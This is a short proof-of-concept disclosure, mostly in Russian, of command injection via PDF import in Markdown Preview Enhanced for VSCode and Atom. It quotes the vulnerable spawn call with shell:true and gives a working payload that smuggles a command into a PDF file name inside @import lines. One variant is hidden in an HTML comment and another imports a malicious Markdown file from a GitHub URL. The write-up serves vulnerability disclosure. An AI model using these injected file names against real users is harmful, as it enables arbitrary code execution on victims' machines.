
[PoC] Внедрение команд через импорт PDF в Markdown Preview Enhanced (VSCode, Atom)
Внедрение команд через импорт PDF в Markdown Preview Enhanced (VSCode, Atom)
Библиотека инструментов Markdown Mume была уязвима к внедрению команд из-за использования команды spawn с опцией {shell: true}. Это могло позволить злоумышленнику выполнить произвольный код, обманом заставив жертву открыть специально созданный Markdown-файл с помощью VSCode или Atom. Эта библиотека работает в плагине Markdown Preview Enhanced как для VSCode, так и для Atom.
Уязвимый фрагмент кода:
const task = spawn(
"pdf2svg",
[
`"${pdfFilePath}"`,
`"${path.resolve(svgDirectoryPath, svgFilePrefix + "%d.svg")}"`,
"all",
],
{ shell: true },
)
Следующий Markdown-документ позволяет злоумышленнику выполнить произвольную команду:
@import "$(open -a Calculator > /dev/null | exit 0)hello.pdf"
The following comment will be recognised by MPE as valid "@import" command:
<!-- @import "$(open -a Calculator > /dev/null | exit 0)hello.pdf" -->
Кроме того, полезная нагрузка может быть выполнена из внешнего источника:
<!-- @import "https://raw.githubusercontent.com/yuriisanin/CVE-2022-45025/main/examples/malicious.md" -->
ДЕМО для VSCode и Atom на YouTube.

Вы можете подписаться на меня в Twitter, GitHub или YouTube.